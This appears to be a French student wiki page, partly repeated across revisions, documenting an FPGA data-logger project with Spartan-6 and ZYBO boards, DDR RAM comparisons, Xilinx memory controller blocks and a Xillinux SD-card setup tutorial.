=====Caracteristiques SPARTAN 6 XILINX LX45=====
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]
'''General'''
*consommation: 0.6A
*45nm low power process technology with 6-input LUTs
*1080MHz clock management tiles (2 DCM + 1 PLL)
*320MHz Block RAM from 216 - 4824 Kbits
*Memory interface controllers blocks from 0 - 4
*1.08Gbps SelectIO™ technology
*390MHz DSP48A1 slices from 8 - 180
*Embedded processing 
 
Pour plus de détails: 
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]
 
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description] 
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation] 
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics] 

=====Caractéristiques de TE0600 =====
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine
* JTAG port (SPI indirect)
* FPGA configuration through:
* B2B connector
* JTAG port
* SPI Flash memory
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips
* 4.0 A x 1.2 V power rail
* 1.5 A x 1.5 V power rail
* 125 MHz reference clock signal
* Single-ended custom oscillator (option)
* eFUSE bit-stream encryption (LX100 or larger)
* 1 user LED
* Evenly-spread supply pins for good signal integrity
* Other assembly options for cost or performance optimization available upon request. 
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600] 

=====Caractéristiques du TE0603=====
*Board power supply via screw terminals, DC jack
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB
*Small form factor: 115x70 mm
*Micro SD connector
*5 Header connectors with up to 114 user IOs
*2 Push-buttons for reset and user function
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] 

===== Étude de la carte TE0603=====
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. 
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. 

En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le "driver" pour accéder en écriture et en lecture les espaces mémoires.
 

====ZYBO====
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.

*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)

====LX9 MicroBoard====
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6 et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.
 
 
 
 
 

===Etude de la problématique===
====Étude pour l'ajout de RAM====
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits: 
'''Historique:''' 
[[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]
Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.

After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in "dual channel mode" to increase memory throughput even further.

Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3.

{| class="wikitable alternance centre"
|+ Comparatif des performances de DDR* RAM
|-
|
! scope="col" | DDR1 RAM
! scope="col" | DDR2 RAM
! scope="col" | DDR3 RAM
|-
! scope="row" | Nombre de pins
| 184
| 240
| 240
|-
! scope="row" | Vitesse d'horloge
| 100 MHz à 200 MHz
| 100 MHz à 266 MHz
| 100 MHz à 300 MHz
|-
! scope="row" | Taux maximum de tranfers
| 200 MT/s à 400 MT/s
| 400 MT/s à 1066 MT/s
| 800 MT/s à 2400 MT/s
|-
! scope="row" | Tension d'alimentation
| 2.5 V
| 1.8 V
| 1.5 V
|}

====IP pour SDRRAM====
[[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]
*Étude de l'IP pour l'adressage RAM
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:
**[http://opencores.org/project,sdr_ctrl opencore]
**Schéma fonctionnel:
 

Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.

====Etude des Memory Controller Blocks====
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]]
Il y a trois fonctions principales du point de vue de l'utilisateur:
*Lire le port (unidirectionnel)
*Écrire sur le port (unidirectionnel)
*Lire et écrire sur le port (bi directionnel)
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:
*Arbiter ou arbitre:
Il détermine quel port à la priorité pour accéder à la mémoire physique.
*Controller ou contrôleur:
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.
*Datapath
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.
*Physical Interface (PHY) ou interface physique:
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.
*Calibration Logic:
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.

===Proposition de solutions===
====Récuperation et affichage des données avec la pateforme ZYBO====
Voici une liste de matériel pour réaliser cette solution:
*Plateforme ZYBO
*Alimentation 5V 3A
*Carte microSD 4Gb (2Gb minimum)
*Cable RJ45
*Linux type Debian 
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs: 

=====Téléchargement et installation=====
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] 
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. 
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files 
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail 
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail 
=====Création d'une carte bootable sur ZYBO=====
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie "récupération" des données. Si vous utilisez ce fichier .zip, sautez directement au point . 
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr 
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design 
h°)Supprimer l'IP pour adresser les LEDS 
i°)On va créer un nouvel IP, tool->Create and Package IP...; next; name-> myLed; next 
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed.
*Interface type ->Lite
*Mode ->Slave
*data width ->32 bits
*number of registers ->4
*Name->S00_AXI 
k°)La fenêtre suivante permet de choisir l'option "edit IP" 
l°)Dans le projetct manager, ouvrir "myLed_V1..." et ajouter à la ligne 18 :
{| width=10%
|<pre>output wire [3:0] led, </pre>
|}
et à la ligne 400 :
{| width=10%
|<pre> assign led=slv_reg0[3:0];</pre>
|}

m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ». 
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED. 
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. 
p°) Dans le flow navigator, cliquer sur create bitstream. 

=====Préparation et utilisation de la carte µSD=====
q°)Dans notre dossier de travail, nous avons 4 fichiers :
*boot.bin
*devicetree.dtb
*uImage
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit
 
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted. 
s°)Copier les quatre fichiers sur la partition de 36Mo. 
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board. 

Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python. 
=====Récupération des données des GPIOs=====
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado : 

On voit que les offset des LED et des SWITCH correspondent.
J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. 

J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. 
[[Fichier:Tuto8.PNG|100px|thumb|center|o°)]]

==Fichiers==
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]
*Empreinte sous Altium Designer pour le connecteur DDR3
 
 
 

==Shopping==
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&entryPoint=adirect&messageType=catProductDetail&showAddButton=true&productID=1008153012207LF datasheet])
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])
*Recuperation de DDR1 au service informatique de Polytech

==Sources==
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] 
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité] 
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] 
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)] 
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations] 
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] [https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]

P2 Data Logger

2016-02-23T19:23:10Z

Avinot : /* Création d'une carte bootable sur ZYBO */

==Cahier des charges==
===Présentation générale du projet===
====Dénomination du sujet par les enseignants====
{|class="wikitable centre"
|-
! scope="col" |Objectif
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques
|-
! scope="col"|Description
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.

Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.

Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)

La plate-forme sera constituée de :
*Un FPGA permettant de contrôler le système,
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,
*Une mémoire RAM de stockage des données,
*Une interface permettant de gérer la plate-forme et de récupérer les données.
|}

====Contexte====
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un "data logger". Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...

====Objectif du projet====
*stocker en RAM une série de donnée le plus rapidement possible
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)
*rendre modulaire le code en permettant d'ajouter un fréquencemètre
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM

===Étapes du projet===
Le projet va se dérouler en plusieurs étapes. 
1)Etude des plates-formes de programmation
 
2)Etude de la problématique
 
3)Proposition de solutions et argumentaire

===Choix techniques : matériel, logiciels, sources===
*[http://www.opencores.org OPENCORES.ORG]
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)

==Suivi des étapes du Projet==
===Etude des plates-formes de programmation===
====TE0600 & TE0603====
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le "cerveau" du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement.
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)] 
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet] 
=====Caracteristiques SPARTAN 6 XILINX LX45=====
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]
'''General'''
*consommation: 0.6A
*45nm low power process technology with 6-input LUTs
*1080MHz clock management tiles (2 DCM + 1 PLL)
*320MHz Block RAM from 216 - 4824 Kbits
*Memory interface controllers blocks from 0 - 4
*1.08Gbps SelectIO™ technology
*390MHz DSP48A1 slices from 8 - 180
*Embedded processing 
 
Pour plus de détails: 
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]
 
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description] 
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation] 
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics] 

=====Caractéristiques de TE0600 =====
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine
* JTAG port (SPI indirect)
* FPGA configuration through:
* B2B connector
* JTAG port
* SPI Flash memory
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips
* 4.0 A x 1.2 V power rail
* 1.5 A x 1.5 V power rail
* 125 MHz reference clock signal
* Single-ended custom oscillator (option)
* eFUSE bit-stream encryption (LX100 or larger)
* 1 user LED
* Evenly-spread supply pins for good signal integrity
* Other assembly options for cost or performance optimization available upon request. 
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600] 

=====Caractéristiques du TE0603=====
*Board power supply via screw terminals, DC jack
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB
*Small form factor: 115x70 mm
*Micro SD connector
*5 Header connectors with up to 114 user IOs
*2 Push-buttons for reset and user function
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] 

===== Étude de la carte TE0603=====
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. 
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. 

En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le "driver" pour accéder en écriture et en lecture les espaces mémoires.
 

====ZYBO====
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.

*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)

====LX9 MicroBoard====
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6 et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.
 
 
 
 
 

===Etude de la problématique===
====Étude pour l'ajout de RAM====
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits: 
'''Historique:''' 
[[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]
Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.

After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in "dual channel mode" to increase memory throughput even further.

Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3.

{| class="wikitable alternance centre"
|+ Comparatif des performances de DDR* RAM
|-
|
! scope="col" | DDR1 RAM
! scope="col" | DDR2 RAM
! scope="col" | DDR3 RAM
|-
! scope="row" | Nombre de pins
| 184
| 240
| 240
|-
! scope="row" | Vitesse d'horloge
| 100 MHz à 200 MHz
| 100 MHz à 266 MHz
| 100 MHz à 300 MHz
|-
! scope="row" | Taux maximum de tranfers
| 200 MT/s à 400 MT/s
| 400 MT/s à 1066 MT/s
| 800 MT/s à 2400 MT/s
|-
! scope="row" | Tension d'alimentation
| 2.5 V
| 1.8 V
| 1.5 V
|}

====IP pour SDRRAM====
[[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]
*Étude de l'IP pour l'adressage RAM
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:
**[http://opencores.org/project,sdr_ctrl opencore]
**Schéma fonctionnel:
 

Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.

====Etude des Memory Controller Blocks====
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]]
Il y a trois fonctions principales du point de vue de l'utilisateur:
*Lire le port (unidirectionnel)
*Écrire sur le port (unidirectionnel)
*Lire et écrire sur le port (bi directionnel)
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:
*Arbiter ou arbitre:
Il détermine quel port à la priorité pour accéder à la mémoire physique.
*Controller ou contrôleur:
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.
*Datapath
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.
*Physical Interface (PHY) ou interface physique:
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.
*Calibration Logic:
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.

===Proposition de solutions===
====Récuperation et affichage des données avec la pateforme ZYBO====
Voici une liste de matériel pour réaliser cette solution:
*Plateforme ZYBO
*Alimentation 5V 3A
*Carte microSD 4Gb (2Gb minimum)
*Cable RJ45
*Linux type Debian 
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs: 

=====Téléchargement et installation=====
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] 
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. 
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files 
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail 
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail 
=====Création d'une carte bootable sur ZYBO=====
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie "récupération" des données. Si vous utilisez ce fichier .zip, sautez directement au point . 
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr 
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design 
h°)Supprimer l'IP pour adresser les LEDS 
i°)On va créer un nouvel IP, tool->Create and Package IP...; next; name-> myLed; next 
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed.
*Interface type ->Lite
*Mode ->Slave
*data width ->32 bits
*number of registers ->4
*Name->S00_AXI 
k°)La fenêtre suivante permet de choisir l'option "edit IP" 
l°)Dans le projetct manager, ouvrir "myLed_V1..." et ajouter à la ligne 18 :
{| width=10%
|<pre>output wire [3:0] led, </pre>
|}
et à la ligne 400 :
{| width=10%
|<pre> assign led=slv_reg0[3:0];</pre>
|}

m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ». 
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED. 
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. 
p°) Dans le flow navigator, cliquer sur create bitstream. 

=====Préparation et utilisation de la carte µSD=====
q°)Dans notre dossier de travail, nous avons 4 fichiers :
*boot.bin
*devicetree.dtb
*uImage
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit
 
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted. 
s°)Copier les quatre fichiers sur la partition de 36Mo. 
